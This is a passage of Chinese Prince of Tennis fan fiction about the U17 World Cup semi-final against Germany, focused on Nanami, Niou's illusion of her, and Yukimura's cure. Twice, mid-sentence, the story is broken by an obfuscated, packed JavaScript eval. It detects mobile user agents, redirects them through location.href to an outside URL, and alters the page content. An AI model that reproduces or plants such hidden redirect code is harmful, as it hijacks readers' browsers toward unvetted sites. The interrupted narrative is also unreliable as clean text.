“二阶堂学姐,是谁?”越前龙马眨了眨眼。 “这个嘛,我就先卖个关子吧。”七海笑眯眯道,“等日本队进了总决赛再说。” “切——不对,二阶堂学姐,你的意思是美国队进不了总决赛吗?”他后知后觉反应过来。 七海的神色凝重了几分,“嗯,西班牙队的强大是你们想象不到的。不是我危言耸听,明天的半决赛,美国队......恐怕会输得很干脆。” “Alright, Let’s see.”少年拽屁道。 “总之,”她站起身,拍了拍外套上可能存在的枯叶枯枝,主动伸出手将少年拉起。“越前,我希望你能尽可能地尝试站在他的角度和心情,尝试去理解一下你哥哥。” “比如,就从主动喊他哥哥开始呢。”她盈盈一笑。 越前龙马不知是尴尬还是傲娇,噘着嘴压了压帽檐:“这个事再说吧。” “好啦,不说这个了,难得我们两个单独聚在一起,学姐请你喝ponta?我知道选手村有台自动贩卖机有卖哦。” “诶——二阶堂学姐请客吗,真少见啊,好啊。” “越前,学姐我其实很大方的好不好!” “二阶堂学姐,我听说手冢部长在追你,你不考虑答应他吗?” “越前,以前我怎么没发现,你真的很八卦诶。” “我是为了部长的幸福考虑,如果是学姐你的话就还不错......啊!学姐,还我帽子!” 两道身影渐行渐远。 ...... 和越前龙马分别后,七海保持着手机关机状态在选手村晃荡了一整个白天。 在寿司店内偶遇了坐在一块吃寿司的真田弦一郎和多隆以及独自就餐的博格; 在眼镜店门口偶遇了正准备去修理眼镜的忍足侑士; 在甜品店偶遇了正在研究新料理的胡狼桑原; 热衷于和各国选手合照的澳大利亚队少年;公共休息室里闲聊着的希腊队选手;在数据中心开着电脑不知在干什么的QP...... 最后黄昏时分,封印了越前龙雅的吞噬能力,又把不知为何迷路了的远山金太郎送回了日本队住宿楼,七海突然意识到两件事: 第一件事,自己的路痴状况似乎有所改善;第二件事,她几乎将选手村逛了个遍,却从始至终没见到过一个西班牙队的人...... 他们到底神神秘秘地在干些什么?看来等半决赛结束,她这个顾问也是时候回去一趟了。 一圈逛完,无事可做。七海在日本队大楼前的台阶边坐下,眺望着远处的夕阳,心乱如麻。 对于他人的命运与需要,她可以清晰地看见毫不犹疑踌躇,可当转向自我,前路却总被重重迷雾笼罩。 堵在脑子里血管里的东西太多,在她的身体里穿行肆虐,横冲直撞,搅乱着她的心神。 看着火红的圆日一点点坠入地平线,直至被暗夜彻底吞没,恍然间,赤裸的真相突然浮现: 她......怕死。 原来是如此简单的真相。 她并不是能够牺牲一切慷慨赴死的英雄,她还想好好活着,争霸世界职网,她当初为什么就决定了牺牲呢?真的,只是因为她自己想牺牲吗......绝对主宰开得越多,她心中的极端负面情绪就越多...... 七海突然浑身发冷。她好像意识到了一个过去从未想过的可能。 还好,现如今总算找到了一个值得一试的办法,她想彻底掌握、主宰自己的人生,不再受那股力量的钳制,前提是,她不会离开。 “二阶堂!” 身后传来了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281094|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道熟悉的怒喝声,似乎也夹杂着许多情绪。 平等院凤凰一下电梯就看到了坐在门口的那一小团孤寂背影,白天被强压下去的纷杂情绪霎时间直冲上脑门,他大步走过去直接将人一把捞起,掰到他的面前: “二阶堂,你想死吗!” 在看清她的脸的一瞬,他又陷入了须臾的沉默。 “平等院,我不想死。”她的眼眶发红。 他咬牙切齿:“蠢货!” “你跟我上来,三船教练他们要宣布出战名单了。”平等院阴沉着张脸。 七海这才后知后觉地边走边把手机开机,看到了【日本必胜】群里的消息。 站在电梯里,趁着电梯向上的功夫,她对着墙上的镜子赶忙将眼角的一抹不显泪痕擦净,连续做了几个深呼吸,揉了揉脸颊试图放松脸部肌肉。 平等院见她这一系列动作,又是一声冷笑。“现在知道害怕了?” “......知道了。”她撇了撇嘴,“反正木已成舟,平等院,我们这算是赌上一切了吧。” “你一定要赢。”她平视前方轻声道。 “呵,老子当然会赢。” ----------------------------- 只是宣布参战名单并未花费多少时间,听完了三船入道的训话,聚集到休息室的少年们三三两两离去为明天的半决赛养精蓄锐,教练组却让七海先行留下。 “斋藤,黑部,拓植,怎么了吗?” “小七海,有一个好消息要告诉你。”斋藤至柔声道。 “什么?” ...... “我先和丸井说一声。”她知道他有多关心他。 “摩西摩西,丸井......你,你别哭......嗯,你和柳他们也说一声吧。” ...... 教练休息室的房门被一阵轻缓的敲门声催开。 七海拉开房门,门外的少年面色瞬间柔和了几分:“七海,还有各位教练们,找我有什么事吗?” “精市......”她的表情要哭不哭要笑不笑的,明明唇角是弯起的,双目却止不住地发酸发涩。 这一天她等得太久了,他等得太久了。 一切的煎熬,折磨,彷徨,担忧,终于到了结束的那一天。 她没能等到的那一天,终于让他等到了。 幸村精市看着眼前的少女在念出她的名字后便陷入了恍神中,只有眼底的泪光在不断堆积,心下涌起一丝不外显的慌乱:“七海,到底怎么了?” 再看向不远处的教练组三人,他们默然不语,脸上看不出悲喜。 她强压下泪意,定了定神色:“精市,你先进来吧。” 大门紧紧阖上。 她站在了他面前,深吸一口气,颤抖着声音缓缓开口: “精市,是一个好消息。你的血液样本的检测结果出来了,从中并没有发现任何问题,你的病,彻底治愈了。” “幸村精市,去迎接你的黎明吧。” 语毕,房间内的空气似乎凝滞了。 她过去从未见过他发愣的模样,她过去也从未见过他真正暴露自己作为十五岁的少年面对病痛应有的哪怕一丝丝彷徨。 后来的她早已回味过来,他们初见时他表现出的脆弱是他的刻意而为之,那时的她慌乱中露出了太多马脚,早已被他看穿。 可是此刻—— 幸村精市的眼眶中涌出了接连不断的泪水,顺着脸颊下巴,一滴接一滴砸在地板上。 蓝紫色的瞳孔剧烈地颤抖着,像是有无数纷杂的情绪在呐喊着,叫嚣着,疯狂地渴望着宣泄。 下一秒,他的躯体再也无法支撑住情绪,直直地跪坐在了地上,双手掩面,汹涌的泪水顺着指缝漫延而下。 她张开了嘴巴,却发不出半点声音,震骇地目视着这过分令人心恫的一幕。 紧接着,透过手掌传来了发闷的少年恸哭声,分明并不响,却猛地掀翻了她于几分钟前听到消息后试图压抑住的一切动荡情绪。 那是大厦轰然倾倒般的震动,似有巨响在耳畔炸裂,情绪如同地裂下的岩浆喷薄而出,将所有废墟都彻底吞没。 曾经的防线在这一刻尽数化为飞灰,不过是一座注定被毁坏的沙城。 心酸似海啸般席卷而来,毫不留情地将她拍倒,淹没,使她窒息,濒死。 七海终究没能忍住,背过身掩面痛哭。 幸村精市,穿过黑夜去迎接属于你的黎明吧。 冬寒已过,春暖来临。 126.第 126 章 这一日终于到来。 澳大利亚,墨尔本,1月的盛夏,刺目的阳光,一望无垠的蓝天。 场馆顶端的追光灯打在地面上形成了一个个白圈,主赛场的观众席上几乎座无虚席,放眼望去大部分观众的手上举着的都是德国队的旗帜,只要站在观众席上细心聆听,“Germany”出现的频率总是最高的。 这或许是一场在绝大多数人眼中胜负注定的比赛。 但对于此刻围成圆阵站在赛场上的那群少年们而言,看客的观点早已被他们抛之脑后。 网球是一项特殊的球类运动,两名对手之间的距离遥远,又没有足球篮球那样的团队配合,当比赛开始,场上便只有自己一人,无法与团队沟通,也接触不到对手。 他们将一个个不顾一切地纵身跃入那陌生的、不可知的命运,以无所畏惧的姿态,站在风暴中对抗一切逆境与困苦,通过一次次挥拍满足对胜利的渴望。 七海一到达赛场就解封了绝对主宰,倒不是真的打算操控比赛分数,而是—— 时间回溯到一小时前,巴士上。 “大家,今天这一战非同小可,恐怕大家能够想象得出到达赛场时,对德国队的声援有多响亮。所以......”站在巴士车头的少女笑容透出几分狡诈。 “七海,所以什么?”丸井好奇道。 “所以我们当然要拿出日本队的气势给他们看!”她猛地一挥拳。 入江奏多笑问:“二阶堂教练,你有什么好主意吗?” “待会比赛前组圆阵的时候,我会用一个办法让场上的观众安静下来,到那时,我一打响指,大家就喊日本必胜。” 迹部景吾坐在前排笑意张扬,她还真是爱模仿他的风格。 七海打得一手好算盘。既然塞达可以用精神力操控阿拉梅侬玛的选手的意识,她的精神力必然也可以。只要她将精神力弥散到全场,使用削弱版的“神降”,全场所有人的思绪都会在瞬间被打断。 比赛要赢,气势也不能输! 此刻,七海站在教练席边蓄势待发,平等院则站在圆阵中进行赛前最后一次训话。 “我们要在这里一举洗掉表演赛的那场惨败的耻辱!” “抱着半吊子的决心是无法打败德国队的,每次大赛抱着这样的心态挑战他们的国家都会失败。” “难道我们很弱吗!如果我们弱,就不会打败希腊,澳大利亚还有法国队!” “虽然德国队有三名职业选手,但是也不必惧怕他们,他们也只不过是与你们一样手持球拍的人罢了!” “我们要战胜他们,用大家的力量,小子们出发吧!!” 场边,少女抬起右手,一道清脆而不甚明显的响指声响起,霎时间,所有赛场上观众席上的声音都像被按下了暂停键,攒动的人头静止。 随即,一片寂静中,高亢激昂的声音炸响在赛场上空: “日本——” “必胜!!” 播放键被按下,暂停键弹起,可赛场众人的反应却慢了几秒,似是刚从梦中清醒。 “刚才发生了什么......” “日本队,好像有点厉害......” “今天的日本队,气势十足啊。”宙斯饶有兴致地看向站在教练席边的纤长少女,日本和希腊队比赛时他倒是没能察觉到这位日本队教练的精神力之特殊,可刚才那一瞬的安静...... “二阶堂前辈,今天看起来也好像迹部前辈......”日本队应援席上,凤长太郎喃喃道。 “这才是七海嘛。”岳人今天难得没有吐槽她的装X,今天这一幕令他回想起了过去的一些往事。 在训练中心时,她总是喜欢抢先迹部一步打响指,在U17训练营入营那天,也是她站在高台上打响指,以至于今天,站在世界的舞台上。 “好帅!这是什么魔法!二阶堂如果高中能来冰帝就好了!”慈郎兴奋地大叫。 日吉若默默吐槽起了迹部:“迹部部长还需要继续努力。” “啊,德国队入场了!”宍户亮的表情瞬间严肃起来。 追光灯聚焦到赛场下方的选手入口通道,场上的氛围骤变。 “那么有请上一届大赛的优胜者,德国代表队入场!” 穿着黑红制服的少年们在热烈的欢呼声中一个个入场,领头的是博格,接着施耐德和贝尔蒂,这三位职业选手一亮相,赛场的火热喧闹就像被添了把柴,再次被点燃。 紧接着是QP,塞弗里德和俾斯麦,手冢国光,最后,A·弗兰肯斯坦。 德国队全员到场! 很快,单打三选手上场,七海面色一肃,果然如她所料,上场的是QP。 QP虽然总是摆出一副温和的表情,可她却知道他的实力之可怖。网球十分考察选手的心理素质,越是冷静的人越容易在这片赛场上发挥出全部乃至超越自我的实力。 这一点,她十分清楚,譬如手冢国光和木下葵,这两个人都是她所相熟的网球选手中的极度冷静派。 “王者德国果然十分清楚团体战首战的重要性。”平等院目光锐利。 “嗯。”七海坐在边上点点头,“好在,我们这边也有日本代表队最强的男人。” “第一场比赛,第三单打,德国队QP VS 日本队鬼十次郎!” 第三单打,一开场便陷入了极为焦灼的对拉中。 小时候特殊的击球训练方式使得QP的控球能力得到了十足的成长,底线中心球早就是驾轻就熟的技巧,恐怕只要他愿意,他可以将球击至场上的任意一点。 这也是为什么,他被称为QP——完美的品质,这一点她早将相关数据在会议上和少年们说明。 眼下,两边各自保下了自己的发球局,比分紧追不舍。 “Game日本,5-4” “Game 德国,5-5” “Game日本,6-5” 进入抢七局!两边的观众都在为各自阵营的选手加油鼓劲,QP与鬼的名字在赛场上交织成一片。 “不妙。”七海皱起眉头。 “二阶堂,怎么了。”平等院沉声问道。 “以QP的实力,不至于第一局就进入抢七,他恐怕藏拙了。” QP的洞察力绝不弱于她。无论是那次在德国职网协会大楼顶楼的赛场,他发现了她意识到博格的计划后便主动向她要联系方式,还是之后的几次接触,他给她的感觉便是—— “快人一步”。 永远能比别人更快一步察觉到周围的异动,处事冷静果断,以结果为导向。 接下来的比赛结果果然发生了变化。第一盘,德国队拿下,第二盘,鬼十次郎开启了天衣无缝之极限并刚毅之光,日本队拿下。第三盘—— QP:“我要成为网球之神!”击破矜持之光的他实力再进一步! 切原赤也抓狂:“怎么这么多人和公主殿下抢神的头衔!” 种岛修二面色凝重地揉了揉海带头:“真神只有你的公主殿下一个。”少年又将视线转回赛场上。 真神只有她一个,那么,与之相反的,鬼呢? 场上的这个日本男人,鬼十次郎,他的气魄正如他的名字一般,他是经历了一次次集训从地狱爬上来的鬼魂。 何为鬼魂?那便是从来无惧任何实体的攻击,从来使世人产生恐惧之心,即使□□达到极限,永不言弃的魂魄也永远飘荡在赛场的上空。 赛场上,那道身影即便腕骨骨折,身形一再跌倒,浑身遍布汗水,也总能重拾站起,凌空回击对手的一记记球,将敌人困于地狱之中! “我,决不能输掉这场比赛!助我一臂之力!”鬼十次郎呐喊着,球拍上的拍线在与球猛烈相接的瞬间尽数断裂,只余横竖两根。 那是他最初的信念,是属于鬼十次郎的终极杀手锏,由羊肠线与钢铁铸成的十字。 最后一球! “15-40,界内球!”“太棒了!!!” 七海呆愣地看着砸在地上的小球弹起,脸上并无喜色。平等院凤凰敏锐地察觉到她面上的异常,眉头深锁。 “二阶堂,那一球有问题。”是陈述句。 “嗯......我能看清,QP恐怕也能看清。”七海死死地咬住下唇,抬头紧盯着对场的白发少年的行动。 “挑战。” 鹰眼启动,裁定推翻,比赛结束。 单打三,德国队胜出。 然而,日本队的少年们的热情却并没有因此熄灭,恰恰相反,他们的热情被点燃了。 “鬼前辈,实在是太帅了!” “鬼前辈,干得漂亮!” 或许这就是这次世界杯破例允许初中生上场的意义,望着前辈坚毅的背影,总能给这些少年们灌注更多的热血与豪情。 鬼十次郎被带去医疗室治疗手腕伤,第二双打即将开始。 “接下来进行第二双打比赛,德国队贝尔蒂&施耐德VS日本队Duke渡边&仁王雅治!” 与德国队的职业双打对战的居然是高中生加初中生,场边立时响起窸窸窣窣的讨论声,仔细一听几乎都在唱衰日本队。 “喂,没搞错吧,要让那个初中生出场吗?” “日本队是要放弃这场双打了吗?” “日本队该不会已经准备回家了吧?” ...... Jack坐在柳生身边有些担忧,“让仁王去和那两个职业选手打真的没问题吗?” 柳生比吕士沉默着,隔着镜片看不清他的表情。 他们是从何时相识的呢? 那天的那个黄昏,他打着高尔夫,听到身侧传来“柳生比吕士”的呼喊声,或许也是从那一刻,如她所说,命运的齿轮开始旋转。 其实他们的一切行为都是发自本心罢了,无论是打网球还是和他组成双打,他相信命运从来都只由他们自己主宰。 仁王雅治,他从不后悔和这个人成为搭档。 仁王君,让世界见识你最终的幻影吧。 让世界为你的实力而震撼吧。 你可是,连神都能骗过的欺诈师。 “Duke,仁王......”望着向场上走去的两人,七海轻声开口,还没等她说出口中的嘱托之语,倏然挺直身板的白发少年转过头,唇角扬起—— “噗哩,二阶堂,神当久了也会累吧。” 今天,换我来当。 七海呆愣了几秒钟,大脑一片空白。随即,瞳孔剧烈震颤起来。 “仁王,你说这句话是什么意思?!” 走远的两人却并未再回答她,她怔怔地看着他们走远,坐回教练席位,心绪极度混乱,因而也未能注意到身旁的金发少年微变的神色。 好在,开场仁王雅治就幻影成了平等院,她暗自松了一口气,她差点以为......唯有那个可能绝对不行。 “不愧是仁王前辈!连高中生的幻影都能制造出来!” “没想到日本队还留着这一招!” 确实,在仁王雅治幻影的平等院和Duke的配合之下,即使面对的是德国队的两位职业选手组成的王牌双打似乎也丝毫不怵。 世界海盗的幻影在赛场上拼搏厮杀,惊涛骇浪与暴雨中,船长与部下成功将敌人斩杀。 第一盘,日本队以6-2的成绩顺利拿下。 看台上的观众们自发地为日本队喝彩,可视线转向日本队的选手与教练席时,他们却发现没有一个人脸上表现出放松安心的神色。 “乾,为什么大家看起来都那么严肃啊,不是赢了一盘吗?”菊丸好奇道。 乾贞治将手中的笔记本合上,扶了扶眼镜,声音难得带上了一丝凝重:“德国队的这对双打,还没有使出他们的真正实力。”他们真正的实力是...... “哇,这是什么!好大!” “这个体格也太高大了吧,这是真实存在的吗!” “谁能借我眼镜,我瞎了吗?” 赛场中央,德国队的施耐德突然身形暴涨,无限巨大化! 他几乎高到穿破穹顶,巨大的身形在地面投下了同样大范围的阴影,对场的仁王Duke完全被笼罩在这片阴影中,即使把头仰成一条笔直的下颌线也只能将将望见施耐德突起的大肚子。 乾贞治在几秒的震惊后继续补充:“那就是,职业双打的真正实力。施耐德的巨大化能够挡住所有对场的回击。而贝尔蒂,他被称为网球王牌,对于交战对手过去的比赛数据、招式、方法等全部聊熟于心。 “他能够基于资料的搜集与推理,再配合策略使自己在比赛中占据有利位置。” “同时,他还是那个博格的弟弟,换言之——他是世界上他人最不想与之交战的对手。” “那岂不是万事休矣!”菊丸紧张起来。 大石秀一郎却陷入了回忆中:“英二,你还记得关东大赛那场和柳生还有仁王的比赛吗。” 仁王雅治的幻影是多么可怖而精妙的一招技能,扭转战局的能力他们都很清楚。 “或许,仁王可以为我们创造奇迹。” 可惜,这一局的结果似乎已经注定。 全垒打与平等院的世界绝技在“人肉墙”并数据机器面前,失去了一切效果。每一个打出的球都被他们无死角地截击,弹回。 七海死死扒着椅面的边缘紧盯着场上,心跳猛烈得像要从胸膛蹦出来,这就是职业选手的双打吗......难道即使是平等院和Duke也不行吗...... “Game 德国,6-4,进入决胜局!交换场地!” 仁王雅治挠了挠头,无奈道:“平等院凤凰,这家伙意外地派不上用场啊。”不过,他知道,有个人,是连平等院凤凰都能打败的人。 如果是她,一切都还可以改变。 网前,贝尔蒂冷笑着嘲讽:“日本人果然没什么长进。” “顺便说一句,你们日本代表队所有人的战斗数据我们已经全部掌握了。” 白发少年却笑得漫不经心。 “真是辛苦你了。” “不过,真的已经全部掌握了吗?噗哩。” “不服气的话,就再多幻影几次试试。”贝尔蒂满脸傲然之色。 “我很好奇,你说的所有人里,包括她吗?” “她?谁。”贝尔蒂皱眉。 他一字一句地问: “德国队的顾问,日本队的教练,你不知道她是谁吗?” 网前的对话仅有那四人听到。众人所能看见的,只有两队选手在网前停留了似乎过长的时间,突然间,贝尔蒂脸上的表情由轻傲转为骇然,又再度恢复平静。 到底发生了什么? 贝尔蒂定下心神,还好比赛前博格就提醒过他这个可能。 “七海的数据,我们当然也有。呵,果然你们打了她的主意。” “是吗。”湖绿色的瞳孔中闪过一丝狡黠。放在网上的视频他早看过,她并没有在德国队的人面前解封绝对主宰,更何况,那群人恐怕根本不知道真相。 仁王眨了眨眼:“噗哩,神的数据,恐怕不是那么容易就能掌握的呐。” 两队选手站回到各自的点位。 在仁王接连变身成宙斯、加缪、诺亚后,两边的比方依然紧咬不下。 “Game 日本,2-1” “Game 德国,2-2” “Game 日本,3-2” “Game 德国,3-3” 赛场上,白发少年的脸上汗水密布,一手按着Duke的腹部,强撑着站立,似乎已经到了体力的极限。 再次回到点位站定时,他做出了一个奇怪的动作—— 他将自己小辫子上的荧绿发圈轻轻扯下,几缕白发霎时间散落在脖颈之后。 这似乎只是一个普普通通、简简单单的动作,没有人在意场上的这个小细节。 然而,有一个人,她完全理解了他的意图。 因为那是,她最常做的动作。 “仁王,你该不会......”七海猛地站起,接着又跌坐回席位上,瞳孔剧烈地震颤着,浑身也跟着难以抑制地轻颤起来,她像是跌入了冰河中,浑身发冷。 可是怎么可能?! 仅有U17合宿与平等院一战时,以及第一次与平等院他们组双打时,他围观了她解封绝对主宰下的比赛。 单凭那两次比赛,他怎么可能做到幻影她?怎么可能做到幻影解封绝对主宰下的她? 不...... 真的只有那两次比赛吗? 那可是欺诈师,他可以成为她身边出现的任何一个人。 一个骇人听闻却情理之中的可能缓缓浮出水面。 【“二阶堂,放出你的精神力让我感受一下。”】 那天,她很奇怪,分明能力共鸣时,平等院早已感受到了她的精神力状态,可晚上他却再次要求她释放出精神力。 进入平等院的精神世界时,她也产生过惊疑。 连续能力共鸣那么多次,他的精神世界却依然是一片漆黑,丝毫没有领悟到阿摩罗识的踪迹,分明以他的精神力水平,不该是这样的结果。 那时,她还以为是因为这两条道截然相反,所以共鸣失败。 如今回想起来—— 这些天晚上,和她能力共鸣组双打的人,真的是平等院吗......?! 七海猛地侧过头,看向坐在自己身边面色沉肃的平等院凤凰,颤声发问: “平等院,你告诉我, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13292298|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这到底是怎么回事!” ------------------------------ 第一次双打比赛后的夜晚。 平等院凤凰的房门被敲响。 “仁王。”平等院不着痕迹地皱了皱眉,侧身让他入内,房间里其他高中生恰巧也在。 “噗哩。老大,你和二阶堂打双打是为了什么?”仁王雅治开门见山。 平等院凤凰沉默了片刻,冷声开口:“她希望我通过能力共鸣领悟她的能力。” Duke和种岛微怔,今晚的双打比赛,居然是这个目的。 “那么,效果怎么样?”仁王很清楚,平等院所说的能力指的是她解封绝对主宰后的能力。 平等院阴沉着脸,“我选择的路,和她的道,是完全相反的两条路。” 在第二盘结束时就叫停比赛,并不仅仅是因为他感知到了她糟糕的精神状态,也是因为,他心中有所明悟,仅靠能力共鸣他恐怕达不到她的要求。 他并没有把话说完,房间里的少年们却都理解了他的意思。 “那就不要再比了。”仁王干脆道,他同样清楚,频繁解封绝对主宰的代价。 平等院凤凰的脸黑了一度:“二阶堂那个蠢货,老子要是不和她打双打,她恐怕会强行让我和她共鸣。”这样的事她绝对做得出来。 种岛修二插了一嘴:“二阶堂的神降和她神秘的多重回旋的那个领域技能都很强,反正比我的己灭无和未生无都强,平等院,难道真就没法领悟吗?” 仁王雅治弓着身,突然轻笑了一下:“换个人就好了,噗哩。” “什么换个人?”平等院皱眉。 白发少年将腰背挺直,认真道: “我去和她组双打。” ------------------------ “平等院,你告诉我,这到底是怎么回事!” 七海的神志瞬间恍惚,嘴唇像是被冻住一般沉重,极其费力地张口,才终于问出那个快要冲破她的脑海的问题: “和我组双打的人,到底是不是你......” “是他。” 简单两个字打碎了她的一切侥幸心理,明明今早吃了止痛药,肚子似乎又隐隐作痛起来,她的面色一阵阵发白。 “平等院,你们两个怎么可以合伙欺骗我......”她难以置信地盯着金发少年漆黑的瞳孔,从中却看不出任何波动的情绪,简直,如死水般平静。 幻影平等院的世界绝技就已经给他带来了精神力损伤,那幻影她呢?她不敢想象后果。这个世界怎么可能允许两个神的存在! 七海这才回想起自己还开着绝对主宰,将精神力覆盖过去—— 居然没事?! 她瞪大了双眼,很快,福临心至的一瞬间,她又明白了——因为她分给他了自己的精神力。七海狠狠松了口气,这可真是误打误撞了。 将视线转移回赛场上,比赛发生了微妙的变化。 贝尔蒂和施耐德通过卫星视点打过来的球居然都莫名其妙地挂网或是出界了。日本队的比分以极快的节奏被拉了回来。 “Game 日本,4-3” “Game 日本,5-3” “喂!你们不是职业双打吗,到底在干嘛!”德国队的应援席上有人气急败坏地怒吼着。 雷特鲁和博格眉头紧皱,他们没看明白这几球到底是怎么做到的,施耐德和贝尔蒂绝不可能犯那样低级的错误。 “国光,那个日本队的白发少年没有再幻影成任何人,这是他原本的实力?” 手冢国光蹙着眉。 十分不凑巧的是,手冢国光本人实则并没有真正见过七海解封绝对主宰后打比赛的样子。与鬼和种岛的比赛他看不到,她与平等院一战时,他已离开合宿营地。 只有一次她在他面前解封了绝对主宰打比赛,却是为了带他领悟天衣无缝之极限,她并没有操控网球的轨迹戏弄他,最后他赢了那场比赛。 此刻,他只能扶了扶眼镜,冷声回答:“我并不清楚。”仁王雅治自身的实力,从来没有人知道。 塞弗里德这几天刚和他缓和下来的关系又有僵化的趋势,“国光,你该不会是故意瞒着我们吧!实话实说,你到底是不是日本队派来的间谍!” “再这样下去德国队要输了啊!!!”他抓狂地原地乱转。 而日本队这边也掀起了一阵讨论。 “仁王前辈,那个扯发绳的动作,和公主殿下好像!那些奇怪挂网的球,也和公主殿下和平等院桑打比赛那次好像!”切原赤也一阵激动。 丸井:“不如说,完全是一样的感觉呢!” “仁王,他幻影了一个绝对不会输的人呐。”不二周助睁着蓝眸,心绪复杂。 幸村精市临到此时才终于明白,仁王打得到底是什么主意,他侧过头望向坐在教练席上的少女,久久不语。 “Game日本,40-0!” 最后一球了。 不知为何,场上的白发少年又默默地将头发扎起。 【“仁王雅治......你是......骗子。” “谁稀罕......你当他,他是他,你是你。” “你没有,属于,自己的网球吗?”】 【“仁王,如果希望别人对你坦率,那你自己敢不敢放下伪装一次呢?”】 【“那时站在赛场上,不顾手肘疼痛坚持比赛的从来不是手冢国光,而是仁王雅治,我看到的人从来是你,不是他。” “不如去寻找自己的网球吧,这样以后你的感受永远只属于你自己。”】 他其实有属于自己的网球,只是他未曾在众人面前展示过。 少年变身成阿拉梅侬玛的白衣面具模样,接着,缓缓摘下面具—— 那是隐于兜帽下,一张似乎熟悉又似乎从未见过的面孔。 下一瞬,他终于用出了属于自己的网球技能。 “流星锤抽击!” 一个极快的吊高下坠球向对场地面直直坠去,却被贝尔蒂眼疾手快地反击! 电光火石间,一把球拍出现在了他面前,回击过去的球被再度反击,然而,早有人等在了后场。 毕竟,这可是双打。仁王雅治,从始至终都很明白这个道理。 “Duke——全垒打。”Duke温声道。 “比赛结束,胜者......日本!!!” 场上掀起了一阵又一阵的欢呼声,只给那个奇迹般战胜了职业双打的组合。此起彼伏的呐喊声和掌声,整个赛场都要被这股澎湃的热情之海所淹没。 少年们围了上去,远山金太郎甚至扯下日本队的旗帜就往那两人身边跑去。 “仁王前辈,Duke前辈,太厉害了!!” “仁王,干得漂亮!” “仁王君,你现在震撼全世界了!” 七海仍旧坐在教练席上,双手紧紧扒着椅子的边缘,指尖用力到发白。她盯着脚下的绿地,仿佛陷入了一片空茫的失神之中。 直到他走到她的面前,身躯投下一片阴影,笼罩在她的身上。 感受到阴影的遮蔽,七海缓缓抬起头,不知该怒骂他一顿还是该笑着恭喜他一句。 半晌,她问了个没头没脑的问题: “仁王,当神的感觉怎么样?” “还不错,噗哩。” “以后还敢再幻影了吗?” “不了,我要去寻找自己的网球了呐。”他勾起一抹痞笑,嘴边的小痣愈发醒目。 七海怔愣了数秒,这才反应过来他说了什么,她叹了口气,接着,一个极其真心的笑容出现在她的脸上: “我期待着。” ———————— 热潮慢慢退下,方才的激动逐渐收回。 然而,一切都才刚开始。 德国队的赛场边,一道人影站了起来。 一阵风吹过,一个男人屹立于此,随后风停止了—— “U17世界杯半决赛,接下来进行第二单打比赛,日本队幸村精市VS德国队手冢国光!” 那个温润如玉又锋利似剑的少年站到了她面前,将外套脱下,屈身盖在她的小腹和裸露在外的腿上,眉目温和地揉了揉她的头。 他知道那个人在看着这边。 幸村精市柔声问道:“七海,肚子还疼吗?” 她回声:“今早吃了止痛药,只有一点疼了。” 再次直起身时,蓝紫色的瞳孔中已翻滚着锐不可当的战意,他的目光直直地射向赛场另一边穿着黑红制服神情冷峻的少年,两道锐利的视线交汇的刹那,他冷声开口: “七海,这次我也一样会赢。” “等我赢给你看。” 127.第 127 章 “七海,这次我也一样会赢。” “等我赢给你看。” 小腹和腿上传来他外套残余的温热,七海抬头,目光笃定: “精市,去吧。我相信你会赢他。” 另有一件事......七海转过头,向选手席上的切原赤也招了招手。“赤也!” 切原赤也忙不迭地从选手席一溜烟跑过来,卷发由于奔跑的速度太快一颤一颤。“公主殿下,怎么了?” 七海仰头望进少年墨绿色的眼眸,缓缓开口,一字一句语气极其认真: “赤也,你要好好看着这场比赛。 一分,一秒,都不要错过。 你的幸村部长会告诉你,教你明白,到底打网球,是为了什么,意味着什么。” 幸村精市本已往赛场上走去,闻言转回头勾起了嘴角,“七海说得对。赤也,直到打完最后一球为止,都要将一切深深地烙印在自己眼中。” “公主殿下,幸村部长......我知道了!”切原赤也用力点了点头。 “那就好,快回去吧。”七海伸手拍了拍他的手臂,余光不经意扫过他腕上的黄色护腕——那是她几个月前送给他的生日礼物,她笑而不语。 视线移回赛场上,球网前,手冢国光与幸村精市握手见礼。 金边眼镜下,那双凤眼难得透出肃杀的气息,而对面少年的视线则如出鞘利剑般凌厉。分明只是简单地握个手,空气中却弥漫着一股剑拔弩张的紧张感。 最终,两人松开了手,转身走向自己的点位,谁也没有说一句话。 “这是中学生之间的比赛吗......” “这股紧张得令人窒息的氛围是怎么回事?” 不知情的观众们被这股压抑的氛围逼出冷汗,赛场上的那两个人,真的只是中学生而已吗?明明只是打个比赛,怎么一副生死仇敌的表情啊! 只有日本队的少年们内心清楚,这场比赛不仅与胜败有关,还关系到了一个人的去留。他们将视线不约而同地转向坐在教练席上的那道身影。 斋藤至笑容柔和,点评犀利:“这就是情敌相见,分外眼红吧。” 黑部难得没有反驳他,点了点头:“不止,这场比赛,被赋予了很多意义。” 这两个人当然不止是情敌关系这么简单。 手冢国光,幸村精市,这两个名字从很早以前便是教练组三人重点关注的对象。他们过往的交集少之又少,但却微妙地被世人捧到了相似的位置。 一位是中学网球第一人,在太多场合他都成为了“计量单位”,似乎衡量一个国中网球选手的水平高下,只需看他能达到手冢国光的哪个阶段。 至于超越他,除了以为他手肘受伤便可轻易胜他的宵小之辈,没有人提到过这样的话题。 另一位是百战百胜的神之子,从国小时期就发挥出了惊人的实力,凭借超强的基础实力和灭五感这样直抵人的恐惧内心的精神力绝技横扫一切比赛,直至今日也无一场败仗。 